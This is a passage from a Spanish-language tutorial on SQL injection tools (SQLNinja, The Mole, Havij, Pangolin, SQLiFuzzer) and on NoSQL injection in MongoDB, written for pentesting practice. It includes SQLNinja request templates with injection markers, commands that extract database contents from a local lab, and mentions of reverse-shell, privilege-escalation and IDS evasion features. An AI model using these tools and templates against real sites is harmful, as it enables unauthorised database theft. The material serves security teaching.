Figura 38: SQLMap recupera las columas de la tabla users.
Figura 39: Obtención de los datos de la tabla users.
8.2. SQLNinja
SqlNinja es una herramienta que permite explotar vulnerabilidades inyección SQL en
aplicaciones web que usan Microsoft SQL Server como back-end. Incluye características como
• Fingerprinting.
• Extracción de datos.
• Integración con Metasploit20
para interfaz gráfica de acceso al servidor de BD.
• Envío de ejecutables a través de peticiones HTTP.
• Shellcode21
remoto o bindshell directo o inverso por puertos TCP/UDP o a través de
túnel DNS o ICMP.
• Romper contraseñas por fuerza bruta con diccionarios.
• Escalada de privilegios con:
◦ Grupo sysadmin si se rompe la contraseña.
◦ churrasco.exe22
para escalada de privilegios en Windows 2003 Server.
◦ Vulnerabilidad CVE-2010-0232 en sqlservr.exe.
• Técnicas de evasión para confundir algunos IDS/IPS/WAF.
8.2.1. Instalación
SqlNinja está escrito en Perl y puede ser instalado en distribuciones de GNU/Linux, Mac o
Windows. Además requiere de los módulos de NetPacket, Net-Pcap, Net-DNS, Net-RawIP, IO-
Socket-SSL y DBI para perl.
A continuación se describen los pasos de instalación en Debian 7 Wheezy.
1. Instalar perl y paquete NetPacket
$ sudo apt-get install perl libnetpacket-perl libnet-pcap-perl
2. Descargar la versión establa de SQLNinja
$ wget http://sourceforge.net/projects/sqlninja/files/sqlninja/sqlninja-0.2.6-r1.tgz/download
-O sqlninja-0.2.6-r1.tgz
$ tar zxvf sqlninja-0.2.6-r1.tgz
$ cd sqlninja-0.2.6-r1
20 Metasploit: http://www.metasploit.com
21 Shellcode: http://en.wikipedia.org/wiki/Shellcode
22 churrasco.exe, MS Windows 2k3 Token Kidnapping Local Exploit: http://www.exploit-db.com/exploits/6705
Figura 40: Recuperación de hash de contraseñas con diccionario.
8.2.2. Configuración
Para poder realizar ataques es necesario configurar el fichero sqlninja.conf con datos del
objetivo contra el que realizar las pruebas de pentesting.
SQLNinja incluye un fichero de configuración de ejemplo en la que se debe configurar el sitio
web de la víctima entre los parámetros de httpprequest:
$ cp sqlninja.conf.example sqlninja.conf
$ vim sqlninja.conf
## GET ##
--httprequest_start--
GET http://www.target.sqlserver.com/products/page.asp?n=100';__SQL2INJECT__&other_param=blah HTTP/1.1
Host: www.target.sqlserver.com
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060418 Firefox/1.0.8
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*
Accept-Language: en-us,en;q=0.7,it;q=0.3
Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Connection: close
--httprequest_end--
## POST ##
--httprequest_start--
POST https://www.target.sqlserver.com/contactform.asp HTTP/1.0
Host: www.target.sqlserver.com
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060418 Firefox/1.0.8
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*
Accept-Language: en-us,en;q=0.7,it;q=0.3
Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Content-Type: application/x-www-form-urlencoded
Cookie: ASPSESSIONID=xxxxxxxxxxxxxxxxxxxx
Connection: close
name=12;__SQL2INJECT__&address1=blabla&email=blabla@gmail.com&enquiry
%20type=bla&message=blablablablablabla
--httprequest_end--
## Cookies ##
--httprequest_start--
GET http://www.target.sqlserver.com/page.asp?n=100 HTTP/1.0
Host: www.target.sqlserver.com
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060418 Firefox/1.0.8
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*
Accept-Language: en-us,en;q=0.7,it;q=0.3
Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Cookie: ASPSESSIONID=xxxxx'%3B__SQL2INJECT__
Connection: close
--httprequest_end--
Se debe incluir en la variable __SQL2INJECT__ con el parámetros que se desea explotar, bien en
la url en parámetro GET, en parámetro POST o en la Cookie de sesión.
8.2.3. Ejecución
Se puede ejecutar en modo pruebas para comprobar si el sitio es vulnerable con el siguiente
comando:
$ ./sqlninja -m test
Otras opciones posibles para el flag -m son:
• fingerprint
• bruteforce
• escalation
• dirshell/revshell/dnstunnel/icmptunnel
• getdata
8.3. The Mole
The Mole23
es una herramienta open source bajo licencia GPLv3 de línea de comandos y
desarrollada en Python 3. Soporta los gestores de bases de datos MySQL, SQL Server,
PostgreSQL y Oracle.
Incluye un potente shell con comandos propios de la herramientas para extraer información del
objetivo. Al proporcionar una URL vulnerable y una cadena válida es capaz de detectar la inyección
y explotarla de manera automática, ya sea mediante el uso de técnicas con la cláusula UNION o una
consulta basada en condicionales.
Además soporta inyección a través de parámetros en GET , POST o Cookies y ofuscación para
evasión de firmas en IDS/IPS.
Se puede descargar de la página oficial el código fuente, compilado para Windows o en paquete
.deb. Además está disponible en los repositorios de distribuciones de GNU/Linux basadas en
Debian.
8.3.1. Instalación y ejecución
Para la instalación en un sistema Debian se puede realizar desde el repositorio.
$ apt-get install themole
La instalación instalará los siguientes paquetes adicionales.
libmpdec2 libpython3.4-minimal libpython3.4-stdlib python3-chardet python3-lxml python3-pkg-resources
python3.4 python3.4-minimal
8.3.2. Extracción de datos
Para ejecutar The Mole contra una aplicación web se deben indicar la url completa con los
parámetros explotables y una cadena de usar en el ataque.
1. Ejecutar en terminal el siguiente comando:
$ themole -u 'http://localhost/bricks/content-1/index.php?id=0' -n 'admin'
NOTA: En Windows el ejecutable es mole.exe.
23 The Mole: http://themole.sourceforge.net
Figura 41: Ejecución SQLNinja en modo test.
Una vez ejecutado se inicia un shell propio de la aplicación desde donde se puede obtener
información de la base de datos, extraer los datos o realizar consultas más personalizadas.
2. Obtener el nombre de los esquemas de base de datos.
Ejecutar schemas en el shell de The Mole.
3. Información de la base de datos.
Ejecutar dbinfo en el shell.
4. Obtener el nombre de las tablas
Ejecutar tables {nombre esquema} en el shell.
Figura 42: The Mole incluye un shell con comandos para automatizar la inyección.
Figura 43: Obtención de los esquemas
de BD con The Mole.
Figura 44: Información de la base de
datos con The Mole.
5. Obtener las columnas
Ejecutar columns {nombre esquema} {nombre tabla}
6. Extracción de datos de una tabla
Ejecutar query {nombre esquema} {tabla} {columna1,[columna2,[...]]}
7. Búsqueda de información adicional en el catálogo.
Figura 45: Obtención de
nombres de tablas con The
Mole
Figura 46: Obtener las
columnas de una tabla con
The Mole
Figura 47: Extracción de datos de una
tabla con The Mole
8. La sentencia query soporta condicionales y límite de filas.
8.4. Otras herramientas
8.4.1. Havij
Havij24
es una herramienta de pago disponible para Windows con interfaz de usuario y soporte
para Microsoft SQL Server y Mysql.
Además de las pruebas automatizadas de inyección SQL incluye almacenamiento de datos
formato cvs, uso de proxy, ofuscación del código y escaneo automático de parámetros entre otros.
24 Havij: http://www.itsecteam.com/products/havij-advanced-sql-injection
Figura 48: Búsqueda de tablas en el
catálogo de datos.
Figura 49: Sentencia query con condición y límite de filas.
8.4.2. Pangolin
Pangolin25
es una herramienta con interfaz de usuario y soporte para bases de datos Access,
DB2, Informix, Microsoft SQL Server, MySQL, Oracle, PostgreSQL, Sqlite3 y Sybase.
Algunas de sus características son soporte SSL, uso de proxy, personalización de cabeceras
HTTP (user-agent, cookies), análisis automático de palabras clave, gestión de puntos de inyección.
Pangolin es una herramienta de pago disponible para Windows. Se puede descargar la versión
de pruebas en la página oficial.
8.5. SQLiFuzzer
SQLifuzzer26
es una herramienta utilizada para identificar vulnerabilidades de inyección SQL
escrita en shell script. Permite realizar de forma automática inyección basada en errores, parcial y
totalmente ciega (basada en tiempo).
25 Pangilon SQL Injection Tool: http://nosec.org/en/productservice/pangolin
26 SQLiFuzzer: http://code.google.com/p/sqlifuzzer
Figura 50: Interfaz de Havij.
Incluye soporte para Microsoft SQL Server, MySQL y Oracle. Además soporta ofuscación ,
pruebas automatizadas con cláusulas UNION y Order By, condicionales para extraer información
del gestor de base de datos, pruebas basadas en tiempos de respuesta (inyección totalmente ciega) y
pruebas basadas en respuestas booleanas de inyección XPATH.
SQLiFuzzer se ejecuta en sistemas GNU/Linux. A continuación se muestran los pasos de
ejecución contra el entorno de pruebas de Bricks:
1. Descargar herramienta
$ wget http://code.google.com/p/sqlifuzzer/downloads/detail?name=sqlifuzzer-0.6.tgz&can=2&q= -O
sqlifuzzer-0.6.tgz
$ tar zxvf sqlifuzzer-0.6.tgz
$ cd sqlifuzzer-0.6
2. Ejecución
./sqlifuzzer-0.5.sh
3. Pruebas contra localhost
$ ./sqlifuzzer-0.5.sh -T http://localhost/bricks/content-1/index.php?id=0 -q
9. Inyección SQL en bases de datos NoSQL
También es posible realizar inyección SQL en bases de datos NoSQL o Not only SQL. Al
requerir menos restricciones relacionales y comprobaciones de coherencia a menudo ofrecen
ventajas de rendimiento y escalado.
Sin embargo, son vulnerables a ataques de inyección, incluso si no están usando la sintaxis
SQL tradicional. Debido a que estos ataques de inyección NoSQL se pueden ejecutar dentro de un
lenguaje determinado, más que en el lenguaje declarativo SQL, los impactos son mayores que la
inyección de SQL tradicional.
Figura 51: Ayuda de SQLiFuzzer.
9.1. Inyección SQL en MongoDB
La API de la base de datos MongoDB27
recupera la información a través de llamadas binarias
de JSON28
llamadas Binary JSON o BJSON. Las expresiones de JSON y JavaScript decodificadas
por la API permiten realizar consulta alternativas en varios parámetros, así la llamada a la API más
utilizada que permite la entrada arbitraria JavaScript es el operador $where. Por ejemplo:
db.myCollection.find( { $where: "this.credits == this.debits" } );
Si un atacante pudiese manipular los datos enviados al operador $where, éste podría incluir código
JavaScript arbitrario para ser evaluado como parte de la consulta de MongoDB.
En la página de la fundación OWASP29
, proyecto de código abierto para combatir las causas que
hacen el software inseguro, se puede obtener ejemplos de como se ven afectadas estas bases de
datos NoSQL ante la inyección de código Javascript.
10. Conclusiones
Existen diferentes técnicas de inyección SQL. El ataque más clásico es el basado en errores
utilizando la fuerza bruta a través de los resultados obtenidos en el mismo canal. Sin embargo, cabe
recordar que se pueden obtener resultados a través de otros canales.
Es importante realizar una implementación correcta de las aplicaciones que acceden a la base
de datos utilizando buenas prácticas de programación y evitando el uso de clases o métodos
obsoletos para el acceso a la base de datos. Además, los usuarios de acceso a la base de datos deben
tener limitado los privilegios así como el acceso al catálogo del SGBD.
Sistemas IDS/IPS como Snort o Suricata basados en firmas permiten detectar ataques de
inyección. Sin embargo, hay que tener en cuenta que un ataque puede ser ofuscado con diversas
técnicas. Además, un sistema mal configurado puede ser susceptible de que los ataques pasen
desapercibidos a través de canales cifrados o compresión de datos si la aplicación atacada lo
permite.
Por último, existen herramientas para la detección y extracción de inyección SQL que facilitan
todo el proceso de ataque o permiten realizar una auditoría sobre un sitio web o servidor de bases de
datos.
11. Referencias
• Aplicaciones para testing de Inyección SQL: http://blog.taddong.com/2011/10/hacking-
vulnerable-web-applications.html
• OWASP Bricks: http://sechow.com/bricks/index.html
• SQL Injection tutorial: http://zerofreak.blogspot.com.es/2012/03/tutorial-by-zer0freak-
difficulty-easy.html
27 MongoDB: http://www.mongodb.org
28 JSON: www.json.org
29 OWASP Testing NoSQL Inyection: https://www.owasp.org/index.php/Testing_for_NoSQL_injection
• Inyección SQL en PHP: http://dasunhegoda.com/php-security-fail-vulnerable/466/
• Ejemplos anti inyección de SQL para PHP: https://github.com/indieteq/PHP-MySQL-PDO-
Database-Class
• Conferencia de Inyección SQL en el Centro de novas tecnoloxías de Galicia por Artur L.
Pinto Monteiro :
http://www.nextvision.com/uploads/com_noticias/Exitoso_Seminario_de_NextVision_sobre
_SQL_Injection_en_el_Centro_de_Nuevas_Tecnologas_de_Galicia___1.pdf
• Mejores herramientas de SQLi: http://www.hackingarticles.in/best-of-hacking/best-sql-
injection-tools
• SQLMap: http://sqlmap.org
• Tutorial para SQLMap: http://www.binarytides.com/sqlmap-hacking-tutorial
• SQLNinja: http://sqlninja.sourceforge.net
• Tutorial SQLNinja: http://www.elithecomputerguy.com/2013/01/23/using-sql-ninja-in-
metasploit-for-basic-sql-injection-attacks
• The Mole: http://themole.sourceforge.net
• SQLifuzzer: http://code.google.com/p/sqlifuzzer
• NoSQL Inyection: https://www.owasp.org/index.php/Testing_for_NoSQL_injection

Más contenido relacionado

La actualidad más candente

Guia básica Packet Tracer
Guia básica Packet TracerGuia básica Packet Tracer
Guia básica Packet TracerErick Calderin
 
Programación MySQL-Ejercicios
Programación MySQL-EjerciciosProgramación MySQL-Ejercicios
Programación MySQL-Ejerciciostestgrupocomex
 
Plantilla plan pruebas_de_software
Plantilla plan pruebas_de_softwarePlantilla plan pruebas_de_software
Plantilla plan pruebas_de_softwarejoseluispt
 
Seguridad En Base De Datos
Seguridad En Base De DatosSeguridad En Base De Datos
Seguridad En Base De DatosWilliam Suárez
 
Seguridad informatica slideshare
Seguridad informatica slideshareSeguridad informatica slideshare
Seguridad informatica slideshareb1cceliagonzalez
 
Proyecto final de Curso de Seguridad Informatica
Proyecto final de Curso de Seguridad InformaticaProyecto final de Curso de Seguridad Informatica
Proyecto final de Curso de Seguridad InformaticaYamileth Miguel
 
Metodos de acceso y arquitectura de redes
Metodos de acceso y arquitectura de redesMetodos de acceso y arquitectura de redes
Metodos de acceso y arquitectura de redesEquipo de Redes
 
Comprensión de los Requerimientos
Comprensión de los Requerimientos Comprensión de los Requerimientos
Comprensión de los Requerimientos Mauricio Blandon
 
Explicacion metodologia 3 capas y base de datos, proyecto de ejemplo jsp
Explicacion metodologia 3 capas y base de datos, proyecto de ejemplo jspExplicacion metodologia 3 capas y base de datos, proyecto de ejemplo jsp
Explicacion metodologia 3 capas y base de datos, proyecto de ejemplo jspBoris Salleg
 
Ataques cibernéticos: ¿Qué es el eavesdropping y cómo se previene?
Ataques cibernéticos: ¿Qué es el eavesdropping y cómo se previene?Ataques cibernéticos: ¿Qué es el eavesdropping y cómo se previene?
Ataques cibernéticos: ¿Qué es el eavesdropping y cómo se previene?Supra Networks
 
Seguridad física y lógica
Seguridad física y lógicaSeguridad física y lógica
Seguridad física y lógicaEve_And
 
18646089 tipos-y-clases-de-auditorias-informaticas
18646089 tipos-y-clases-de-auditorias-informaticas18646089 tipos-y-clases-de-auditorias-informaticas
18646089 tipos-y-clases-de-auditorias-informaticasyomito_2
 
Protocolos de capa de red (características,
Protocolos de capa de red (características,Protocolos de capa de red (características,
Protocolos de capa de red (características,Larry Ruiz Barcayola
 

La actualidad más candente (20)

Guia básica Packet Tracer
Guia básica Packet TracerGuia básica Packet Tracer
Guia básica Packet Tracer
 
Programación MySQL-Ejercicios
Programación MySQL-EjerciciosProgramación MySQL-Ejercicios
Programación MySQL-Ejercicios
 
Plantilla plan pruebas_de_software
Plantilla plan pruebas_de_softwarePlantilla plan pruebas_de_software
Plantilla plan pruebas_de_software
 
Seguridad En Base De Datos
Seguridad En Base De DatosSeguridad En Base De Datos
Seguridad En Base De Datos
 
Ataques Informáticos
Ataques InformáticosAtaques Informáticos
Ataques Informáticos
 
Proyecto DAM
Proyecto DAMProyecto DAM
Proyecto DAM
 
Manual opengl
Manual openglManual opengl
Manual opengl
 
Seguridad informatica slideshare
Seguridad informatica slideshareSeguridad informatica slideshare
Seguridad informatica slideshare
 
Proyecto final de Curso de Seguridad Informatica
Proyecto final de Curso de Seguridad InformaticaProyecto final de Curso de Seguridad Informatica
Proyecto final de Curso de Seguridad Informatica
 
Metodos de acceso y arquitectura de redes
Metodos de acceso y arquitectura de redesMetodos de acceso y arquitectura de redes
Metodos de acceso y arquitectura de redes
 
1.introduccion java
1.introduccion java1.introduccion java
1.introduccion java
 
Comprensión de los Requerimientos
Comprensión de los Requerimientos Comprensión de los Requerimientos
Comprensión de los Requerimientos
 
UNIDAD 1 INTRODUCCIÓN AL LENGUAJE ENSAMBLADOR
UNIDAD 1 INTRODUCCIÓN AL LENGUAJE ENSAMBLADORUNIDAD 1 INTRODUCCIÓN AL LENGUAJE ENSAMBLADOR
UNIDAD 1 INTRODUCCIÓN AL LENGUAJE ENSAMBLADOR
 
Explicacion metodologia 3 capas y base de datos, proyecto de ejemplo jsp
Explicacion metodologia 3 capas y base de datos, proyecto de ejemplo jspExplicacion metodologia 3 capas y base de datos, proyecto de ejemplo jsp
Explicacion metodologia 3 capas y base de datos, proyecto de ejemplo jsp
 
Ataques cibernéticos: ¿Qué es el eavesdropping y cómo se previene?
Ataques cibernéticos: ¿Qué es el eavesdropping y cómo se previene?Ataques cibernéticos: ¿Qué es el eavesdropping y cómo se previene?
Ataques cibernéticos: ¿Qué es el eavesdropping y cómo se previene?
 
Seguridad física y lógica
Seguridad física y lógicaSeguridad física y lógica
Seguridad física y lógica
 
Modelo OSI
Modelo OSIModelo OSI
Modelo OSI
 
proceso unificado de desarrollo
proceso unificado de desarrollo proceso unificado de desarrollo
proceso unificado de desarrollo
 
18646089 tipos-y-clases-de-auditorias-informaticas
18646089 tipos-y-clases-de-auditorias-informaticas18646089 tipos-y-clases-de-auditorias-informaticas
18646089 tipos-y-clases-de-auditorias-informaticas
 
Protocolos de capa de red (características,
Protocolos de capa de red (características,Protocolos de capa de red (características,
Protocolos de capa de red (características,
 

Destacado

Inyecciones sql para aprendices
Inyecciones sql para aprendicesInyecciones sql para aprendices
Inyecciones sql para aprendicesTensor
 
Regla de la cadena y regla de la potencia
Regla de la cadena y regla de la potenciaRegla de la cadena y regla de la potencia
Regla de la cadena y regla de la potenciaITCN
 
Teorema del valor medio
Teorema del valor medioTeorema del valor medio
Teorema del valor medioDavid Ramos
 
Teoria de limites y regla de L' Hopital
Teoria de limites y regla de L' HopitalTeoria de limites y regla de L' Hopital
Teoria de limites y regla de L' HopitalFer Echavarria
 
Regla de la cadena para la anti-derivada.
Regla de la cadena para la anti-derivada.Regla de la cadena para la anti-derivada.
Regla de la cadena para la anti-derivada.Rosa Puga
 
Regla de l´hopital
Regla de l´hopitalRegla de l´hopital
Regla de l´hopitalKeos21
 
Regla de la cadena
Regla de la cadenaRegla de la cadena
Regla de la cadenaAna Cristina
 
Teorema del Valor Medio
Teorema del Valor MedioTeorema del Valor Medio
Teorema del Valor Mediomyriam sarango
 

Destacado (12)

Inyecciones sql para aprendices
Inyecciones sql para aprendicesInyecciones sql para aprendices
Inyecciones sql para aprendices
 
Regla de la cadena y regla de la potencia
Regla de la cadena y regla de la potenciaRegla de la cadena y regla de la potencia
Regla de la cadena y regla de la potencia
 
Teorema del valor medio
Teorema del valor medioTeorema del valor medio
Teorema del valor medio
 
REGLA DE LA CADENA
REGLA DE LA CADENAREGLA DE LA CADENA
REGLA DE LA CADENA
 
Teoria de limites y regla de L' Hopital
Teoria de limites y regla de L' HopitalTeoria de limites y regla de L' Hopital
Teoria de limites y regla de L' Hopital
 
Regla de la cadena para la anti-derivada.
Regla de la cadena para la anti-derivada.Regla de la cadena para la anti-derivada.
Regla de la cadena para la anti-derivada.
 
Regla de l´hopital
Regla de l´hopitalRegla de l´hopital
Regla de l´hopital
 
Calculo I La Regla De La Cadena
Calculo I La Regla De La CadenaCalculo I La Regla De La Cadena
Calculo I La Regla De La Cadena
 
Farmacologia veterinaria en perros y gatos
Farmacologia veterinaria en perros y gatosFarmacologia veterinaria en perros y gatos
Farmacologia veterinaria en perros y gatos
 
Regla de la cadena
Regla de la cadenaRegla de la cadena
Regla de la cadena
 
Contabilidad general
Contabilidad generalContabilidad general
Contabilidad general
 
Teorema del Valor Medio
Teorema del Valor MedioTeorema del Valor Medio
Teorema del Valor Medio
 

Similar a Herramientas y Técnicas de Inyeción SQL

Evaluación de Ataques tipo Inyección SQL a Ciegas a las Aplicaciones Web util...
Evaluación de Ataques tipo Inyección SQL a Ciegas a las Aplicaciones Web util...Evaluación de Ataques tipo Inyección SQL a Ciegas a las Aplicaciones Web util...
Evaluación de Ataques tipo Inyección SQL a Ciegas a las Aplicaciones Web util...beckett1
 
Paper injection sql_santiago_hidalgo_diego_jaramillo_victor_olalla_becket_toa...
Paper injection sql_santiago_hidalgo_diego_jaramillo_victor_olalla_becket_toa...Paper injection sql_santiago_hidalgo_diego_jaramillo_victor_olalla_becket_toa...
Paper injection sql_santiago_hidalgo_diego_jaramillo_victor_olalla_becket_toa...Becket Toapanta
 
Ataques a-bases-de-datos
Ataques a-bases-de-datosAtaques a-bases-de-datos
Ataques a-bases-de-datosalan moreno
 
Tema 9 comando kali linux (1)
Tema 9 comando kali linux (1)Tema 9 comando kali linux (1)
Tema 9 comando kali linux (1)YuniorGregorio2
 
Kali linux v2_re_y_des (1)
Kali linux v2_re_y_des (1)Kali linux v2_re_y_des (1)
Kali linux v2_re_y_des (1)Polo Perez
 
Generalidades de la auditoria de sistemas y software
Generalidades de la auditoria de sistemas y softwareGeneralidades de la auditoria de sistemas y software
Generalidades de la auditoria de sistemas y softwareRossiGuerrero
 
Ataques de inyección SQL: qué son y cómo protegerse
Ataques de inyección SQL: qué son y cómo protegerseAtaques de inyección SQL: qué son y cómo protegerse
Ataques de inyección SQL: qué son y cómo protegerseSupra Networks
 
Inyeccionessqlparaaprendices complemento clase 1
Inyeccionessqlparaaprendices complemento clase 1Inyeccionessqlparaaprendices complemento clase 1
Inyeccionessqlparaaprendices complemento clase 1Tensor
 
Inyecciones SQL para Aprendices
Inyecciones SQL para AprendicesInyecciones SQL para Aprendices
Inyecciones SQL para AprendicesTensor
 
Seguridad En Base De Datos
Seguridad En Base De DatosSeguridad En Base De Datos
Seguridad En Base De Datosguestb40a1b0
 
Pruebas de sistemas y aceptacion
Pruebas de sistemas y aceptacionPruebas de sistemas y aceptacion
Pruebas de sistemas y aceptacionAbner Gerardo
 

Similar a Herramientas y Técnicas de Inyeción SQL (20)

Ataques a-bases-de-datos
Ataques a-bases-de-datosAtaques a-bases-de-datos
Ataques a-bases-de-datos
 
Evaluación de Ataques tipo Inyección SQL a Ciegas a las Aplicaciones Web util...
Evaluación de Ataques tipo Inyección SQL a Ciegas a las Aplicaciones Web util...Evaluación de Ataques tipo Inyección SQL a Ciegas a las Aplicaciones Web util...
Evaluación de Ataques tipo Inyección SQL a Ciegas a las Aplicaciones Web util...
 
Paper injection sql_santiago_hidalgo_diego_jaramillo_victor_olalla_becket_toa...
Paper injection sql_santiago_hidalgo_diego_jaramillo_victor_olalla_becket_toa...Paper injection sql_santiago_hidalgo_diego_jaramillo_victor_olalla_becket_toa...
Paper injection sql_santiago_hidalgo_diego_jaramillo_victor_olalla_becket_toa...
 
Ataques a-bases-de-datos
Ataques a-bases-de-datosAtaques a-bases-de-datos
Ataques a-bases-de-datos
 
Inyecciones SQL
Inyecciones SQLInyecciones SQL
Inyecciones SQL
 
Tema 9 comando kali linux (1)
Tema 9 comando kali linux (1)Tema 9 comando kali linux (1)
Tema 9 comando kali linux (1)
 
Kali linux v2_re_y_des
Kali linux v2_re_y_desKali linux v2_re_y_des
Kali linux v2_re_y_des
 
Kali linux v2_re_y_des (1)
Kali linux v2_re_y_des (1)Kali linux v2_re_y_des (1)
Kali linux v2_re_y_des (1)
 
Generalidades de la auditoria de sistemas y software
Generalidades de la auditoria de sistemas y softwareGeneralidades de la auditoria de sistemas y software
Generalidades de la auditoria de sistemas y software
 
Ataques de inyección SQL: qué son y cómo protegerse
Ataques de inyección SQL: qué son y cómo protegerseAtaques de inyección SQL: qué son y cómo protegerse
Ataques de inyección SQL: qué son y cómo protegerse
 
Seguridad de base de datos
Seguridad de base de datosSeguridad de base de datos
Seguridad de base de datos
 
Seguridad de base de datos
Seguridad de base de datosSeguridad de base de datos
Seguridad de base de datos
 
Inyeccionessqlparaaprendices complemento clase 1
Inyeccionessqlparaaprendices complemento clase 1Inyeccionessqlparaaprendices complemento clase 1
Inyeccionessqlparaaprendices complemento clase 1
 
Inyección sql1
Inyección sql1Inyección sql1
Inyección sql1
 
Comision nro 6 as- fiis- controles
Comision nro 6  as- fiis- controlesComision nro 6  as- fiis- controles
Comision nro 6 as- fiis- controles
 
Inyecciones SQL para Aprendices
Inyecciones SQL para AprendicesInyecciones SQL para Aprendices
Inyecciones SQL para Aprendices
 
Kali_Linux_v2_ReYDeS.pdf
Kali_Linux_v2_ReYDeS.pdfKali_Linux_v2_ReYDeS.pdf
Kali_Linux_v2_ReYDeS.pdf
 
Seguridad En Base De Datos
Seguridad En Base De DatosSeguridad En Base De Datos
Seguridad En Base De Datos
 
Tecn Comnu y Enrutamiento.pptx
Tecn Comnu y Enrutamiento.pptxTecn Comnu y Enrutamiento.pptx
Tecn Comnu y Enrutamiento.pptx
 
Pruebas de sistemas y aceptacion
Pruebas de sistemas y aceptacionPruebas de sistemas y aceptacion
Pruebas de sistemas y aceptacion
 

Último

Tipos de pensamiento y pensamiento lógico
Tipos de pensamiento y pensamiento lógicoTipos de pensamiento y pensamiento lógico
Tipos de pensamiento y pensamiento lógicoMaxCaldern2
 
Estructura del lenguaje c++. Operaciones básicas y su jerarquía aplicada en e...
Estructura del lenguaje c++. Operaciones básicas y su jerarquía aplicada en e...Estructura del lenguaje c++. Operaciones básicas y su jerarquía aplicada en e...
Estructura del lenguaje c++. Operaciones básicas y su jerarquía aplicada en e...FabianCruz73
 
ISDEFE - GraphSummit Madrid - ARETA: Aviation Real-Time Emissions Token Accre...
ISDEFE - GraphSummit Madrid - ARETA: Aviation Real-Time Emissions Token Accre...ISDEFE - GraphSummit Madrid - ARETA: Aviation Real-Time Emissions Token Accre...
ISDEFE - GraphSummit Madrid - ARETA: Aviation Real-Time Emissions Token Accre...Neo4j
 
MacOS SISTEMA OPERATIVO CARACTERISTICAS.pptx
MacOS SISTEMA OPERATIVO CARACTERISTICAS.pptxMacOS SISTEMA OPERATIVO CARACTERISTICAS.pptx
MacOS SISTEMA OPERATIVO CARACTERISTICAS.pptxcalzadillasluis134
 
SQL server Analysis Services & SQL Server Reporting Services.pptx
SQL server Analysis Services & SQL Server Reporting Services.pptxSQL server Analysis Services & SQL Server Reporting Services.pptx
SQL server Analysis Services & SQL Server Reporting Services.pptxRAMIROANTONIOGALINDO
 
Graph Everywhere - Josep Taruella - Por qué Graph Data Science en tus modelos...
Graph Everywhere - Josep Taruella - Por qué Graph Data Science en tus modelos...Graph Everywhere - Josep Taruella - Por qué Graph Data Science en tus modelos...
Graph Everywhere - Josep Taruella - Por qué Graph Data Science en tus modelos...Neo4j
 
Delitos informáticos en Slideshare.pptx
Delitos informáticos en  Slideshare.pptxDelitos informáticos en  Slideshare.pptx
Delitos informáticos en Slideshare.pptxmaykolmagallanes012
 
BBVA - GraphSummit Madrid - Caso de éxito en BBVA: Optimizando con grafos
BBVA - GraphSummit Madrid - Caso de éxito en BBVA: Optimizando con grafosBBVA - GraphSummit Madrid - Caso de éxito en BBVA: Optimizando con grafos
BBVA - GraphSummit Madrid - Caso de éxito en BBVA: Optimizando con grafosNeo4j
 
Instalacion de servicios windows, configuracion y aplicacion.
Instalacion de servicios windows, configuracion y aplicacion.Instalacion de servicios windows, configuracion y aplicacion.
Instalacion de servicios windows, configuracion y aplicacion.CZSOTEC
 
Webinar Resolucion2335 de 2023 Kubapp.pdf
Webinar Resolucion2335 de 2023 Kubapp.pdfWebinar Resolucion2335 de 2023 Kubapp.pdf
Webinar Resolucion2335 de 2023 Kubapp.pdfAnaRosaMontenegro
 
SISTEMA INTEGRADO DE ADMINISTRACION FINANCIERA - SIAF MODULO ADMINISTRATIVO
SISTEMA INTEGRADO DE ADMINISTRACION FINANCIERA - SIAF MODULO ADMINISTRATIVOSISTEMA INTEGRADO DE ADMINISTRACION FINANCIERA - SIAF MODULO ADMINISTRATIVO
SISTEMA INTEGRADO DE ADMINISTRACION FINANCIERA - SIAF MODULO ADMINISTRATIVOELIAMARYTOVARFLOREZD
 

Último (11)

Tipos de pensamiento y pensamiento lógico
Tipos de pensamiento y pensamiento lógicoTipos de pensamiento y pensamiento lógico
Tipos de pensamiento y pensamiento lógico
 
Estructura del lenguaje c++. Operaciones básicas y su jerarquía aplicada en e...
Estructura del lenguaje c++. Operaciones básicas y su jerarquía aplicada en e...Estructura del lenguaje c++. Operaciones básicas y su jerarquía aplicada en e...
Estructura del lenguaje c++. Operaciones básicas y su jerarquía aplicada en e...
 
ISDEFE - GraphSummit Madrid - ARETA: Aviation Real-Time Emissions Token Accre...
ISDEFE - GraphSummit Madrid - ARETA: Aviation Real-Time Emissions Token Accre...ISDEFE - GraphSummit Madrid - ARETA: Aviation Real-Time Emissions Token Accre...
ISDEFE - GraphSummit Madrid - ARETA: Aviation Real-Time Emissions Token Accre...
 
MacOS SISTEMA OPERATIVO CARACTERISTICAS.pptx
MacOS SISTEMA OPERATIVO CARACTERISTICAS.pptxMacOS SISTEMA OPERATIVO CARACTERISTICAS.pptx
MacOS SISTEMA OPERATIVO CARACTERISTICAS.pptx
 
SQL server Analysis Services & SQL Server Reporting Services.pptx
SQL server Analysis Services & SQL Server Reporting Services.pptxSQL server Analysis Services & SQL Server Reporting Services.pptx
SQL server Analysis Services & SQL Server Reporting Services.pptx
 
Graph Everywhere - Josep Taruella - Por qué Graph Data Science en tus modelos...
Graph Everywhere - Josep Taruella - Por qué Graph Data Science en tus modelos...Graph Everywhere - Josep Taruella - Por qué Graph Data Science en tus modelos...
Graph Everywhere - Josep Taruella - Por qué Graph Data Science en tus modelos...
 
Delitos informáticos en Slideshare.pptx
Delitos informáticos en  Slideshare.pptxDelitos informáticos en  Slideshare.pptx
Delitos informáticos en Slideshare.pptx
 
BBVA - GraphSummit Madrid - Caso de éxito en BBVA: Optimizando con grafos
BBVA - GraphSummit Madrid - Caso de éxito en BBVA: Optimizando con grafosBBVA - GraphSummit Madrid - Caso de éxito en BBVA: Optimizando con grafos
BBVA - GraphSummit Madrid - Caso de éxito en BBVA: Optimizando con grafos
 
Instalacion de servicios windows, configuracion y aplicacion.
